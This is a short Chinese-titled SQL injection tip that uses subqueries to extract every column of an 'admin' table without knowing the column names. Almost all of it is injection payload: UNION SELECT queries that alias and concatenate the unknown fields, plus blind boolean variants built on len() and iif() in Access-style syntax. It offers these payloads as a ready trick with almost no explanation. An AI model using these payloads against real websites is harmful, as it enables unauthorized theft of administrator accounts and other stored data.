一个注入小技巧：利用子查询忽略字段名

select title,time,author,content from article where id={inject here}

select title,time,author,content from article where id=999999999 

union select 1,2,3,4 from(

      select * from admin order by 1

)

select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 

from admin where 1=2 

union select * from admin

select title,time,author,content from article where id=999999999 

union select 1,2,3,

   field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5

   from(

       select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 

       from admin where 1=2 

       union select * from admin

   )

select title,time,author,content from article where id=999999999 

union select 1 as x,2 as xx,3 as xxx,

   Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx 

   from(

       select 1,2,3,4,5 from admin where 1=2 

       union select * from admin

   )

select title,time,author,content from article where id=999999999 

union select 1,2,3,

   field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(

      select * from (

           select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 

           from admin where 1=2 

           union select * from admin

      ) where field_1 not in (1)

   )

select title,time,author,content from article where id=999999999 or(

    select top 1 len(field_1) from(

        select 1 as field_1,2,3,4,5 

        from admin where 1=2 

        union select * from admin

    )

)>0

select title,time,author,content from article where id=999999999 or 

iif(

    (select top 1 len(field_1) from(

          select 1 as field_1,2,3,4,5 

          from admin where 1=2 

          union select * from admin

      )

    )>0,

    1,

    (select 2 from multi_rows_table)

)=1